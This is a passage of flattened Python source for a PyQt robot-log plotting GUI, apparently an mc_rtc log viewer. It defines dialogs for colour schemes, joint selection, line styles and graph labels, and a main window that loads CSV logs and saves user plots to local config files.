ColorsSchemeConfigurationDialog(QtWidgets.QDialog): @InitDialogWithOkCancel(Layout = QtWidgets.QFormLayout, apply_ = False) def __init__(self, parent, scheme, apply_cb): self.scheme = copy.deepcopy(scheme) self.setSelector = QtWidgets.QComboBox(self) # Qualitative maps, see https://matplotlib.org/3.1.0/gallery/color/colormap_reference.html qualitative = ['Pastel1', 'Pastel2', 'Paired', 'Accent', 'Dark2', 'Set1', 'Set2', 'Set3', 'tab10', 'tab20', 'tab20b', 'tab20c'] [ self.setSelector.addItem(s) for s in qualitative ] self.setSelector.addItem('custom') self.setSelector.setCurrentText(self.scheme.cm_) self.setSelector.currentIndexChanged.connect(self.cmChanged) self.layout.addRow("Colormap", self.setSelector) self.ncolorsSetter = QtWidgets.QSpinBox(self) self.ncolorsSetter.setMinimum(1) self.ncolorsSetter.setValue(self.scheme.ncolors_) self.ncolorsSetter.valueChanged.connect(self.ncolorsChanged) self.layout.addRow("Number of colors", self.ncolorsSetter) self.colorSelection = QtWidgets.QGridLayout() self.setupColorSelection() self.layout.addRow(self.colorSelection) self.apply_cb = apply_cb def cmChanged(self): cm = self.setSelector.currentText() if cm != 'custom': self.scheme._select_pyplot_set(cm, self.scheme.ncolors_) self.ncolorsSetter.setValue(self.scheme.ncolors_) self.setupColorSelection() def ncolorsChanged(self): ncolors = self.ncolorsSetter.value() prev = self.scheme.ncolors_ if self.scheme.cm_ != 'custom': self.scheme._select_pyplot_set(self.scheme.cm_, ncolors) if self.scheme.ncolors_ != prev: self.setupColorSelection() if self.scheme.ncolors_ != ncolors: self.ncolorsSetter.setValue(self.scheme.ncolors_) else: if ncolors > prev: for i in range(prev, ncolors): self.scheme.colors_.append('#000000') else: self.scheme.colors_ = self.scheme.colors_[:ncolors] self.scheme.ncolors_ = len(self.scheme.colors_) self.setupColorSelection() def setCustom(self): self.scheme.cm_ = 'custom' self.setSelector.setCurrentText(self.scheme.cm_) def setupColorSelection(self): itm = self.colorSelection.takeAt(0) while itm: widget = itm.widget() widget.deleteLater() itm = self.colorSelection.takeAt(0) ncol = 5 col = 0 row = 0 for color in self.scheme.colors(): self.colorSelection.addWidget(ColorButtonRightClick(self, color), row, col) col += 1 if col == ncol: row += 1 col = 0 def removeColorFromSelector(self, btn): self.setCustom() colors = [] itm = self.colorSelection.takeAt(0) while itm: if isinstance(itm.widget(), ColorButtonRightClick) and itm.widget() is not btn: colors.append(itm.widget().color.name()) itm.widget().deleteLater() itm = self.colorSelection.takeAt(0) self.scheme._select_custom_set(colors) self.ncolorsSetter.setValue(self.scheme.ncolors_) self.setupColorSelection() def accept(self): super(ColorsSchemeConfigurationDialog, self).accept() if self.scheme.cm_ == 'custom': self.removeColorFromSelector(None) self.apply_cb(self.scheme) class MCLogJointDialog(QtWidgets.QDialog): @InitDialogWithOkCancel(Layout = QtWidgets.QVBoxLayout, apply_ = False) def __init__(self, parent, rm, name, y1_prefix = None, y2_prefix = None, y1_diff_prefix = None, y2_diff_prefix = None): self.setWindowTitle("Select plot joints") self.joints = [] self.name = name self.y1_prefix = y1_prefix self.y2_prefix = y2_prefix self.y1_diff_prefix = y1_diff_prefix self.y2_diff_prefix = y2_diff_prefix jointsBox = QtWidgets.QGroupBox("Joints", self) grid = QtWidgets.QGridLayout(jointsBox) margins = grid.contentsMargins() margins.setTop(20) grid.setContentsMargins(margins) self.jointsCBox = [] row = 0 col = 0 if rm is not None: for i, j in enumerate(rm.ref_joint_order()): cBox = QtWidgets.QCheckBox(j, self) cBox.stateChanged.connect(partial(self.checkboxChanged, j)) grid.addWidget(cBox, row, col) self.jointsCBox.append(cBox) col += 1 if col == 4: col = 0 row += 1 self.layout.addWidget(jointsBox) optionsBox = QtWidgets.QGroupBox("Options", self) optionsLayout = QtWidgets.QHBoxLayout(optionsBox) margins = optionsLayout.contentsMargins() margins.setTop(20) optionsLayout.setContentsMargins(margins) self.selectAllBox = QtWidgets.QCheckBox("Select all", self) self.selectAllBox.stateChanged.connect(self.selectAllBoxChanged) optionsLayout.addWidget(self.selectAllBox) self.onePlotPerJointBox = QtWidgets.QCheckBox("One plot per joint", self) optionsLayout.addWidget(self.onePlotPerJointBox) self.plotLimits = QtWidgets.QCheckBox("Plot limits", self) optionsLayout.addWidget(self.plotLimits) self.layout.addWidget(optionsBox) def accept(self): if len(self.joints): plotLimits = self.plotLimits.isChecked() if self.onePlotPerJointBox.isChecked(): [ self.parent().plot_joint_data(self.name + ": {}".format(j), [j], self.y1_prefix, self.y2_prefix, self.y1_diff_prefix, self.y2_diff_prefix, plotLimits) for j in self.joints ] else: self.parent().plot_joint_data(self.name, self.joints, self.y1_prefix, self.y2_prefix, self.y1_diff_prefix, self.y2_diff_prefix, plotLimits) super(MCLogJointDialog, self).accept() def checkboxChanged(self, item, state): if state: self.joints.append(item) else: self.joints.remove(item) def selectAllBoxChanged(self, state): for cBox in self.jointsCBox: cBox.setChecked(state) if state: self.selectAllBox.setText("Select none") else: self.selectAllBox.setText("Select all") class AllLineStyleDialog(QtWidgets.QDialog): @InitDialogWithOkCancel(Layout = QtWidgets.QGridLayout) def __init__(self, parent, name, canvas, plots, style_fn): self.name = name self.canvas = canvas self.plots = plots self.style = style_fn self.setWindowTitle('Edit {} graph line style'.format(name)) row = 0 [ self.layout.addWidget(QtWidgets.QLabel(txt), row, i) for i,txt in enumerate(["Label", "Style", "Width", "Color"]) ] row += 1 self.plotWidgets = {} def makeLineStyleComboBox(style): ret = QtWidgets.QComboBox() [ret.addItem(s) for s in ['-', ':', '--', '-.']] ret.setCurrentIndex(['-', ':', '--', '-.'].index(style.linestyle)) return ret def makeLineWidthEdit(style): ret = QtWidgets.QLineEdit(str(style.linewidth)) ret.setValidator(QtGui.QDoubleValidator(0.01, 1e6, 2)) return ret def makeColorButton(self, style): ret = QtWidgets.QPushButton("") ret.color = QtGui.QColor(style.color) ret.setStyleSheet("background-color: {color}; color: {color}".format(color = style.color)) ret.released.connect(lambda bt=ret: self.selectColor(bt)) return ret def add_plot(self, plot, style): self.plotWidgets[plot] = [ QtWidgets.QLineEdit(style.label), makeLineStyleComboBox(style), makeLineWidthEdit(style), makeColorButton(self, style) ] [ self.layout.addWidget(w, row, i) for i,w in enumerate(self.plotWidgets[plot]) ] for p in self.plots: add_plot(self, p, self.style(p)) row += 1 def selectColor(self, button): color = QtWidgets.QColorDialog.getColor(button.color, parent = self) if color.isValid(): button.color = color button.setStyleSheet("background-color: {color}; color: {color}".format(color = color.name())) def apply(self): for y,widgets in self.plotWidgets.items(): label = widgets[0].text() linestyle = widgets[1].currentText() linewidth = float(widgets[2].text()) color = widgets[3].color.name() st = LineStyle(label = label, linestyle = linestyle, linewidth = linewidth, color = color) self.style(y, st) self.canvas.draw() def accept(self): super(AllLineStyleDialog, self).accept() self.apply() class DumpSeqPlayDialog(QtWidgets.QDialog): @InitDialogWithOkCancel(Layout = QtWidgets.QGridLayout, apply_ = False) def __init__(self, parent): self.setWindowTitle("Dump qOut to seqplay") row = 0 row += 1 self.layout.addWidget(QtWidgets.QLabel("Timestep"), row, 0) self.timestepLineEdit = QtWidgets.QLineEdit("0.005") validator = QtGui.QDoubleValidator() validator.setBottom(1e-6) self.timestepLineEdit.setValidator(validator) self.layout.addWidget(self.timestepLineEdit, row, 1) row += 1 self.layout.addWidget(QtWidgets.QLabel("Time scale"), row, 0) self.timeScaleSpinBox = QtWidgets.QSpinBox() self.timeScaleSpinBox.setMinimum(1) self.timeScaleSpinBox.setPrefix("x") self.layout.addWidget(self.timeScaleSpinBox, row, 1) row += 1 filedialogButton = QtWidgets.QPushButton("Browse...") filedialogButton.clicked.connect(self.filedialogButton) self.layout.addWidget(filedialogButton, row, 0) self.fileLineEdit = QtWidgets.QLineEdit("out.pos") self.layout.addWidget(self.fileLineEdit) def accept(self): fout = self.fileLineEdit.text() tScale = self.timeScaleSpinBox.value() dt = float(self.timestepLineEdit.text()) rm = self.parent().rm data = self.parent().data if os.path.exists(fout): overwrite = QtWidgets.QMessageBox.question(self, "Overwrite existing file", "{} already exists, do you want to overwrite it?".format(fout), QtWidgets.QMessageBox.Yes, QtWidgets.QMessageBox.No) if overwrite == QtWidgets.QMessageBox.No: return with open(fout, 'w') as fd: rjo_range = range(len(rm.ref_joint_order())) i_range = range(len(data['t'])) t = 0 for i in i_range: q = np.array([data['qOut_{}'.format(jIdx)][i] for jIdx in rjo_range]) if i == i_range[-1]: next_q = q else: next_q = np.array([data['qOut_{}'.format(jIdx)][i+1] for jIdx in rjo_range]) for j in range(tScale): qOut = map(str, q + j/float(tScale) * (next_q - q)) fd.write("{} {}\n".format(t, " ".join(qOut))) t += dt super(DumpSeqPlayDialog, self).accept() def filedialogButton(self): fpath = QtWidgets.QFileDialog.getSaveFileName(self, "Output file")[0] if len(fpath): self.fileLineEdit.setText(fpath) class LabelsTitleEditDialog(QtWidgets.QDialog): @InitDialogWithOkCancel(Layout = QtWidgets.QGridLayout) def __init__(self, parent, canvas): self.canvas = canvas self.setWindowTitle('Edit graph title, labels and style') row = 0 self.titleEdit = QtWidgets.QLineEdit(canvas.title()) self.titleFontsizeEdit = QtWidgets.QLineEdit(str(canvas.title_fontsize())) self.titleFontsizeEdit.setValidator(QtGui.QDoubleValidator(1, 1e6, 1)) self.layout.addWidget(QtWidgets.QLabel("Title"), row, 0) self.layout.addWidget(self.titleEdit, row, 1) self.layout.addWidget(self.titleFontsizeEdit, row, 2) row += 1 self.xLabelEdit = QtWidgets.QLineEdit(canvas.x_label()) self.xLabelFontsizeEdit = QtWidgets.QLineEdit(str(canvas.x_label_fontsize())) self.xLabelFontsizeEdit.setValidator(QtGui.QDoubleValidator(1, 1e6, 1)) self.layout.addWidget(QtWidgets.QLabel("X label"), row, 0) self.layout.addWidget(self.xLabelEdit, row, 1) self.layout.addWidget(self.xLabelFontsizeEdit, row, 2) row += 1 self.y1LabelEdit = QtWidgets.QLineEdit(canvas.y1_label()) self.y1LabelFontsizeEdit = QtWidgets.QLineEdit(str(canvas.y1_label_fontsize())) self.y1LabelFontsizeEdit.setValidator(QtGui.QDoubleValidator(1, 1e6, 1)) self.layout.addWidget(QtWidgets.QLabel("Y1 label"), row, 0) self.layout.addWidget(self.y1LabelEdit, row, 1) self.layout.addWidget(self.y1LabelFontsizeEdit, row, 2) row += 1 self.y2LabelEdit = QtWidgets.QLineEdit(canvas.y2_label()) self.y2LabelFontsizeEdit = QtWidgets.QLineEdit(str(canvas.y2_label_fontsize())) self.y2LabelFontsizeEdit.setValidator(QtGui.QDoubleValidator(1, 1e6, 1)) if canvas._3D: self.layout.addWidget(QtWidgets.QLabel("Z label"), row, 0) else: self.layout.addWidget(QtWidgets.QLabel("Y2 label"), row, 0) self.layout.addWidget(self.y2LabelEdit, row, 1) self.layout.addWidget(self.y2LabelFontsizeEdit, row, 2) row += 1 self.extraLayout = QtWidgets.QGridLayout() extraRow = 0 self.extraLayout.addWidget(QtWidgets.QLabel("Tick size"), extraRow, 0) self.extraLayout.addWidget(QtWidgets.QLabel("Label padding"), extraRow, 1) self.extraLayout.addWidget(QtWidgets.QLabel("Top offset"), extraRow, 2) self.extraLayout.addWidget(QtWidgets.QLabel("Bottom offset"), extraRow, 3) extraRow += 1 self.tickSizeEdit = QtWidgets.QLineEdit(str(canvas.tick_fontsize())) self.tickSizeEdit.setValidator(QtGui.QDoubleValidator(1, 1e6, 1)) self.labelPaddingEdit = QtWidgets.QLineEdit(str(canvas.labelpad())) self.labelPaddingEdit.setValidator(QtGui.QDoubleValidator(1, 1e6, 1)) self.topOffsetEdit = QtWidgets.QLineEdit(str(canvas.top_offset())) self.topOffsetEdit.setValidator(QtGui.QDoubleValidator(0, 1, 3)) self.bottomOffsetEdit = QtWidgets.QLineEdit(str(canvas.bottom_offset())) self.bottomOffsetEdit.setValidator(QtGui.QDoubleValidator(0, 1, 3)) self.extraLayout.addWidget(self.tickSizeEdit, extraRow, 0) self.extraLayout.addWidget(self.labelPaddingEdit, extraRow, 1) self.extraLayout.addWidget(self.topOffsetEdit, extraRow, 2) self.extraLayout.addWidget(self.bottomOffsetEdit, extraRow, 3) extraRow += 1 self.extraLayout.addWidget(QtWidgets.QLabel("Legend size"), extraRow, 0) self.extraLayout.addWidget(QtWidgets.QLabel("Legend Y1 columns"), extraRow, 1) self.extraLayout.addWidget(QtWidgets.QLabel("Legend Y2 columns"), extraRow, 2) extraRow += 1 self.legendSizeEdit = QtWidgets.QLineEdit(str(canvas.legend_fontsize())) self.legendSizeEdit.setValidator(QtGui.QDoubleValidator(1, 1e6, 1)) self.y1LegendNColEdit = QtWidgets.QLineEdit(str(canvas.y1_legend_ncol())) self.y1LegendNColEdit.setValidator(QtGui.QIntValidator(1, 100)) self.y2LegendNColEdit = QtWidgets.QLineEdit(str(canvas.y2_legend_ncol())) self.y2LegendNColEdit.setValidator(QtGui.QIntValidator(1, 100)) self.extraLayout.addWidget(self.legendSizeEdit, extraRow, 0) self.extraLayout.addWidget(self.y1LegendNColEdit, extraRow, 1) self.extraLayout.addWidget(self.y2LegendNColEdit, extraRow, 2) extraRow += 1 self.extraLayout.addWidget(QtWidgets.QLabel("Labels legend size"), extraRow, 0, 1, 2) self.extraLayout.addWidget(QtWidgets.QLabel("Labels legend top offset"), extraRow, 2, 1, 1) extraRow += 1 self.labelsLegendSizeEdit = QtWidgets.QLineEdit(str(canvas.labels_legend_fontsize())) self.labelsLegendSizeEdit.setValidator(QtGui.QDoubleValidator(1, 1e6, 1)) self.labelsLegendTopOffsetEdit = QtWidgets.QLineEdit(str(canvas.labels_legend_top_offset())) self.extraLayout.addWidget(self.labelsLegendSizeEdit, extraRow, 0, 1, 2) self.extraLayout.addWidget(self.labelsLegendTopOffsetEdit, extraRow, 2, 1, 2) extraRow += 1 self.layout.addLayout(self.extraLayout, row, 0, extraRow, 3) row += extraRow def apply(self): self.canvas.title(self.titleEdit.text()) self.canvas.title_fontsize(float(self.titleFontsizeEdit.text())) self.canvas.x_label(self.xLabelEdit.text()) self.canvas.x_label_fontsize(self.xLabelFontsizeEdit.text()) self.canvas.y1_label(self.y1LabelEdit.text()) self.canvas.y1_label_fontsize(self.y1LabelFontsizeEdit.text()) self.canvas.y2_label(self.y2LabelEdit.text()) self.canvas.y2_label_fontsize(self.y2LabelFontsizeEdit.text()) self.canvas.tick_fontsize(float(self.tickSizeEdit.text())) self.canvas.legend_fontsize(float(self.legendSizeEdit.text())) self.canvas.labelpad(float(self.labelPaddingEdit.text())) self.canvas.top_offset(float(self.topOffsetEdit.text())) self.canvas.bottom_offset(float(self.bottomOffsetEdit.text())) self.canvas.y1_legend_ncol(int(self.y1LegendNColEdit.text())) self.canvas.y2_legend_ncol(int(self.y2LegendNColEdit.text())) self.canvas.labels_legend_fontsize(int(self.labelsLegendSizeEdit.text())) self.canvas.labels_legend_top_offset(float(self.labelsLegendTopOffsetEdit.text())) self.canvas.draw() def accept(self): super(LabelsTitleEditDialog, self).accept() self.apply() class MCLogUI(QtWidgets.QMainWindow): def __init__(self, parent = None): super(MCLogUI, self).__init__(parent) self.__init__ui = ui.MainWindow() self.ui = ui.MainWindow() self.ui.setupUi(self) self.tab_re = re.compile('^Plot [0-9]+$') self.data = Data() self.data.data_updated.connect(self.update_data) self.loaded_files = [] self.gridStyles = {'left': LineStyle(linestyle = '--'), 'right': LineStyle(linestyle = ':') } self.gridStyleFile = os.path.expanduser("~") + "/.config/mc_log_ui/grid_style.json" if os.path.exists(self.gridStyleFile): with open(self.gridStyleFile) as f: data = json.load(f) for k in self.gridStyles.keys(): if k in data: self.gridStyles[k] = LineStyle(**data[k]) UserPlot.__new__.__defaults__ = (self.gridStyles['left'], self.gridStyles['right'], {}, {}, GraphLabels(), {}, PlotType(0)) self.robotFile = os.path.expanduser("~") + "/.config/mc_log_ui/robot" self.userPlotFile = os.path.join(os.path.dirname(__file__), "custom_plot.json") self.userPlotList = load_UserPlots(self.userPlotFile) self.update_userplot_menu() self.colorsFile = os.path.expanduser("~") + "/.config/mc_log_ui/colors.json" self.colorsScheme = ColorsSchemeConfiguration(self.colorsFile) self.polyColorsFile = os.path.expanduser("~") + "/.config/mc_log_ui/poly_colors.json" self.polyColorsScheme = ColorsSchemeConfiguration(self.polyColorsFile, 'Pastel1') self.activeRobotAction = None self.rm = None if mc_rbdyn is not None: rMenu = QtWidgets.QMenu("Robot", self.ui.menubar) rGroup = QtWidgets.QActionGroup(rMenu) rCategoryMenu = {} rActions = [] for r in mc_rbdyn.RobotLoader.available_robots(): rAct = RobotAction(r, rGroup) rAct.setCheckable(True) rGroup.addAction(rAct) if '/' in r: category, name = r.split('/', 1) if not category in rCategoryMenu: rCategoryMenu[category] = rMenu.addMenu(category) rAct.setText(name) rAct.actual(r) rCategoryMenu[category].addAction(rAct) else: rActions.append(rAct) rMenu.addActions(rActions) defaultBot = self.getDefaultRobot() if defaultBot in mc_rbdyn.RobotLoader.available_robots(): actionIndex = mc_rbdyn.RobotLoader.available_robots().index(defaultBot) defaultBot = rGroup.actions()[actionIndex] else: defaultBot = rGroup.actions()[0] self.activeRobotAction = defaultBot self.activeRobotAction.setChecked(True) self.setRobot(self.activeRobotAction) rGroup.triggered.connect(self.setRobot) self.ui.menubar.addMenu(rMenu) self.styleMenu = QtWidgets.QMenu("Style", self.ui.menubar) # Line style menu self.lineStyleMenu = QtWidgets.QMenu("Graph", self.styleMenu) def fillLineStyleMenu(self): self.lineStyleMenu.clear() tab = self.ui.tabWidget.currentWidget() canvas = self.getCanvas() def makePlotMenu(self, name, plots, style_fn): if not len(plots): return menu = QtWidgets.QMenu(name, self.lineStyleMenu) group = QtWidgets.QActionGroup(act) action = QtWidgets.QAction("All", group) action.triggered.connect(lambda: AllLineStyleDialog(self, name, self.getCanvas(), plots, style_fn).exec_()) group.addAction(action) sep = QtWidgets.QAction(group) sep.setSeparator(True) group.addAction(sep) for y in plots: style = style_fn(y) action = QtWidgets.QAction(style.label, group) action.triggered.connect(lambda checked, yin=y, stylein=style: LineStyleDialog(self, yin, self.getCanvas(), stylein, style_fn).exec_()) group.addAction(action) menu.addActions(group.actions()) self.lineStyleMenu.addMenu(menu) makePlotMenu(self, "Left", canvas._left().plots.keys(), tab.style_left) if canvas._right(): makePlotMenu(self, "Right", canvas._right().plots.keys(), tab.style_right) self.lineStyleMenu.aboutToShow.connect(lambda: fillLineStyleMenu(self)) self.styleMenu.addMenu(self.lineStyleMenu) # Grid style menu self.gridStyleMenu = QtWidgets.QMenu("Grid", self.styleMenu) self.gridDisplayActionGroup = QtWidgets.QActionGroup(self.gridStyleMenu) self.gridDisplayActionGroup.setExclusive(True) self.leftGridAction = QtWidgets.QAction("Left", self.gridDisplayActionGroup) self.leftGridAction.triggered.connect(lambda: GridStyleDialog(self, "left", self.getCanvas(), self.getCanvas()._left().grid).exec_()) self.gridDisplayActionGroup.addAction(self.leftGridAction) self.rightGridAction = QtWidgets.QAction("Right", self.gridDisplayActionGroup) self.rightGridAction.triggered.connect(lambda: GridStyleDialog(self, "right", self.getCanvas(), self.getCanvas()._right().grid).exec_()) self.gridDisplayActionGroup.addAction(self.rightGridAction) self.gridStyleMenu.addActions(self.gridDisplayActionGroup.actions()) self.styleMenu.addMenu(self.gridStyleMenu) # Labels self.titleAction = QtWidgets.QAction("Labels/Title/Fonts", self.styleMenu) self.titleAction.triggered.connect(lambda: LabelsTitleEditDialog(self, self.getCanvas()).exec_()) self.styleMenu.addAction(self.titleAction) # Color scheme selector self.colorSchemeAction = QtWidgets.QAction("Colors selection", self.styleMenu) self.colorSchemeAction.triggered.connect(lambda: ColorsSchemeConfigurationDialog(self, self.colorsScheme, self.setColorsScheme).exec_()) self.styleMenu.addAction(self.colorSchemeAction) # Polygon color scheme selector self.polyColorSchemeAction = QtWidgets.QAction("Polygons colors selection", self.styleMenu) self.polyColorSchemeAction.triggered.connect(lambda: ColorsSchemeConfigurationDialog(self, self.polyColorsScheme, self.setPolyColorsScheme).exec_()) self.styleMenu.addAction(self.polyColorSchemeAction) self.ui.menubar.addMenu(self.styleMenu) self.toolsMenu = QtWidgets.QMenu("Tools", self.ui.menubar) act = QtWidgets.QAction("Dump qOut to seqplay", self.toolsMenu) act.triggered.connect(DumpSeqPlayDialog(self).exec_) self.toolsMenu.addAction(act) self.ui.menubar.addMenu(self.toolsMenu) self.addApplicationShortcut(QtCore.Qt.CTRL + QtCore.Qt.Key_O, self.shortcutOpenFile) self.addApplicationShortcut(QtCore.Qt.CTRL + QtCore.Qt.Key_W, self.shortcutCloseTab) self.addApplicationShortcut(QtCore.Qt.CTRL + QtCore.Qt.Key_PageDown, self.shortcutNextTab) self.addApplicationShortcut(QtCore.Qt.CTRL + QtCore.Qt.Key_PageUp, self.shortcutPreviousTab) self.addApplicationShortcut(QtCore.Qt.CTRL + QtCore.Qt.Key_T, self.shortcutNewTab) self.addApplicationShortcut(QtCore.Qt.CTRL + QtCore.Qt.Key_S, self.save_userplot) self.addApplicationShortcut(QtCore.Qt.CTRL + QtCore.Qt.Key_A, self.shortcutAxesDialog) def saveUserPlots(self): confDir = os.path.dirname(self.userPlotFile) if not os.path.exists(confDir): os.makedirs(confDir) def default_(o): if isinstance(o, PlotType): return o.value else: return o.__dict__ with open(self.userPlotFile, 'w') as f: json.dump(self.userPlotList, f, default = default_, indent = 2, separators = (',', ': ')) self.update_userplot_menu() def saveDefaultRobot(self, name): confDir = os.path.dirname(self.robotFile) if not os.path.exists(confDir): os.makedirs(confDir) with open(self.robotFile, 'w') as f: f.write("{}".format(name)) def getDefaultRobot(self): if os.path.exists(self.robotFile): return open(self.robotFile).read().strip() else: return u"" def addApplicationShortcut(self, key, callback): shortcut = QtWidgets.QShortcut(self) shortcut.setKey(key) shortcut.setContext(QtCore.Qt.ApplicationShortcut) shortcut.activated.connect(lambda: callback()) def update_userplot_menu(self): self.ui.menuUserPlots.clear() for p in self.userPlotList: act = QtWidgets.QAction(p.title, self.ui.menuUserPlots) act.triggered.connect(lambda checked, plot=p: self.plot_userplot(plot)) self.ui.menuUserPlots.addAction(act) act = QtWidgets.QAction("Save current plot", self.ui.menuUserPlots) act.triggered.connect(self.save_userplot) self.ui.menuUserPlots.addAction(act) if len(self.userPlotList): rmUserPlotMenu = QtWidgets.QMenu("Remove saved plots", self.ui.menuUserPlots) for p in self.userPlotList: act = QtWidgets.QAction(p.title, self.ui.menuUserPlots) act.triggered.connect(lambda checked, plot=p: self.remove_userplot(plot)) rmUserPlotMenu.addAction(act) self.ui.menuUserPlots.addMenu(rmUserPlotMenu) def save_userplot(self): tab = self.ui.tabWidget.currentWidget() canvas = tab.activeCanvas valid = len(canvas._left()) != 0 or len(canvas._right()) != 0 if not valid: err_diag = QtWidgets.QMessageBox(self) err_diag.setModal(True) err_diag.setText("Cannot save user plot if nothing is shown") err_diag.exec_() return defaultTitle = self.ui.tabWidget.tabText(self.ui.tabWidget.currentIndex()) if defaultTitle.startswith("Plot"): defaultTitle = "" title, ok = QtWidgets.QInputDialog.getText(self, "User plot", "Title of your plot:", text = defaultTitle) if ok: type_ = tab.plotType() if type_ is PlotType.TIME: y1 = filter(lambda k: k in self.data.keys(), canvas._left().plots.keys()) y2 = filter(lambda k: k in self.data.keys(), canvas._right().plots.keys()) y1d = map(lambda sp: "{}_{}".format(sp.name, sp.id), filter(lambda sp: sp.idx == 0, tab.specials.values())) y2d = map(lambda sp: "{}_{}".format(sp.name, sp.id), filter(lambda sp: sp.idx == 1, tab.specials.values())) else: y1 = canvas._left().source.values() if canvas._right(): y2 = canvas._right().source.values() else: y2 = [] y1d = [] y2d = [] style = { y: canvas.style_left(y) for y in canvas._left().plots.keys() } if canvas._right(): style2 = { y: canvas.style_right(y) for y in canvas._right().plots.keys() } else: style2 = {} grid = canvas._left().grid if canvas._right(): grid2 = canvas._right().grid else: grid2 = grid found = False extra = { p: getattr(self.getCanvas(), p)() for p in ["tick_fontsize", "legend_fontsize", "labelpad", "top_offset", "bottom_offset", "y1_legend_ncol", "y2_legend_ncol"] } up = UserPlot(title, tab.x_data, y1, y1d, y2, y2d, grid, grid2, style, style2, GraphLabels(title = TextWithFontSize(canvas.title(), canvas.title_fontsize()), x_label = TextWithFontSize(canvas.x_label(), canvas.x_label_fontsize()), y1_label = TextWithFontSize(canvas.y1_label(), canvas.y1_label_fontsize()), y2_label = TextWithFontSize(canvas.y2_label(), canvas.y2_label_fontsize())), extra, type_) for i in range(len(self.userPlotList)): if self.userPlotList[i].title == title: self.userPlotList[i] = up found = True break if not found: self.userPlotList.append(up) self.saveUserPlots() def plot_userplot(self, p): if p.type is PlotType.TIME: valid = p.x in self.data.keys() and all([y in self.data.keys() for x in [p.y1, p.y2] for y in x]) elif p.type is PlotType.XY: valid = p.x in self.data.keys() and all([x in self.data.keys() and y in self.data.keys() for x,y,l in p.y1 + p.y2]) else: valid = p.x in self.data.keys() and all([x in self.data.keys() and y in self.data.keys() and z in self.data.keys() for x,y,z,l in p.y1 + p.y2]) if not valid: missing_entries = "" if not p.x in self.data.keys(): missing_entries += "- {}\n".format(p.x) for x in [p.y1, p.y1d, p.y2, p.y2d]: for y in x: if not y in self.data.keys(): missing_entries += "- {}\n".format(y) missing_entries = missing_entries[:-1] err_diag = QtWidgets.QMessageBox(self) err_diag.setModal(True) err_diag.setText("Plot {} is not valid for this log file, some data is missing\nMissing entries:\n{}".format(p.title, missing_entries)) err_diag.exec_() return plotW = MCLogTab.UserPlot(self, p) self.ui.tabWidget.insertTab(self.ui.tabWidget.count() - 1, plotW, p.title) self.ui.tabWidget.setCurrentIndex(self.ui.tabWidget.count() - 2) self.updateClosable() def remove_userplot(self, p_in): for p in self.userPlotList: if p.title == p_in.title: self.userPlotList.remove(p) break self.saveUserPlots() def setRobot(self, action): try: self.rm = mc_rbdyn.RobotLoader.get_robot_module(action.actual()) self.activeRobotAction = action for i in range(self.ui.tabWidget.count() - 1): tab = self.ui.tabWidget.widget(i) assert(isinstance(tab, MCLogTab)) tab.setRobotModule(self.rm, self.loaded_files) self.saveDefaultRobot(action.actual()) except RuntimeError: #QtWidgets.QMessageBox.warning(self, "Failed to get RobotModule", "Could not retrieve Robot Module: {}{}Check your console for more details".format(action.text(), os.linesep)) action.setChecked(False) self.activeRobotAction.setChecked(True) self.rm = None def getCanvas(self): return self.ui.tabWidget.currentWidget().activeCanvas @QtCore.Slot() def on_actionLoad_triggered(self): fpath = QtWidgets.QFileDialog.getOpenFileName(self, "Log file")[0] if len(fpath): self.load_csv(fpath) @QtCore.Slot() def on_actionCompare_triggered(self): fpath = QtWidgets.QFileDialog.getOpenFileName(self, "Log file")[0] if len(fpath): self.load_csv(fpath, False) @QtCore.Slot() def on_actionExit_triggered(self): QtWidgets.QApplication.quit() @QtCore.Slot(int) def on_tabWidget_currentChanged(self, idx): if idx == self.ui.tabWidget.count() - 1: plotW = MCLogTab(self) plotW.setData(self.data) plotW.setGridStyles(self.gridStyles) plotW.setRobotModule(self.rm, self.loaded_files) plotW.setColors(self.colorsScheme.colors()) plotW.setPolyColors(self.polyColorsScheme.colors()) j = 1 for i in range(self.ui.tabWidget.count() -1): if self.tab_re.match(self.ui.tabWidget.tabText(i)): j += 1 self.ui.tabWidget.insertTab(self.ui.tabWidget.count() - 1, plotW, "Plot {}".format(j)) self.ui.tabWidget.setCurrentIndex(self.ui.tabWidget.count() - 2) self.updateClosable() @QtCore.Slot(int) def on_tabWidget_tabCloseRequested(self, idx): if self.ui.tabWidget.currentIndex() == idx: self.ui.tabWidget.setCurrentIndex(abs(idx - 1)) self.ui.tabWidget.removeTab(idx) j = 1 for i in range(self.ui.tabWidget.count() - 1): if self.tab_re.match(self.ui.tabWidget.tabText(i)): self.ui.tabWidget.setTabText(i, "Plot {}".format(j)) j += 1 self.updateClosable() def updateClosable(self): has_closable = self.ui.tabWidget.count() > 2 self.ui.tabWidget.setTabsClosable(has_closable) if has_closable: self.ui.tabWidget.tabBar().tabButton(self.ui.tabWidget.count() - 1, QtWidgets.QTabBar.RightSide).hide(); def shortcutOpenFile(self): self.ui.actionLoad.triggered.emit() def shortcutCloseTab(self): if self.ui.tabWidget.tabsClosable(): self.ui.tabWidget.tabCloseRequested.emit(self.ui.tabWidget.currentIndex()) def shortcutPreviousTab(self): if self.ui.tabWidget.currentIndex() > 0: self.ui.tabWidget.setCurrentIndex(self.ui.tabWidget.currentIndex() - 1) def shortcutNextTab(self): if self.ui.tabWidget.currentIndex() < self.ui.tabWidget.count() - 2: self.ui.tabWidget.setCurrentIndex(self.ui.tabWidget.currentIndex() + 1) def shortcutNewTab(self): self.ui.tabWidget.setCurrentIndex(self.ui.tabWidget.count() - 1) def shortcutAxesDialog(self): self.ui.tabWidget.currentWidget().activeCanvas.axesDialog() def load_csv(self, fpath, clear = True): if clear: self.loaded_files = [] data = read_log(fpath) if not 't' in data: print("This GUI assumes a time-entry named t is available in the log, failed loading {}".format(fpath)) return if 't' in self.data and not clear: dt = self.data['t'][1] - self.data['t'][0] ndt = data['t'][1] - data['t'][0] if abs(dt - ndt) > 1e-9: print("This GUI assumes you are comparing logs with a similar timestep, already loaded dt = {} but attempted to load dt = {} from {}", dt, ndt, fpath) return pad_left = int(round((self.data['t'][0] - data['t'][0]) / dt)) pad_right = int(round((data['t'][-1] - self.data['t'][-1]) / dt)) start_t = min(self.data['t'][0], data['t'][0]) end_t = max(self.data['t'][-1], data['t'][-1]) fpath = os.path.basename(fpath).replace('_', '-') self.loaded_files.append(fpath) i = 0 while "qIn_{}".format(i) in data and "qOut_{}".format(i) in data: data["error_q_{}".format(i)] = data["qOut_{}".format(i)] - data["qIn_{}".format(i)] data["qIn_limits_lower_{}".format(i)] = np.full_like(data["qIn_{}".format(i)], 0) data["qIn_limits_upper_{}".format(i)] = 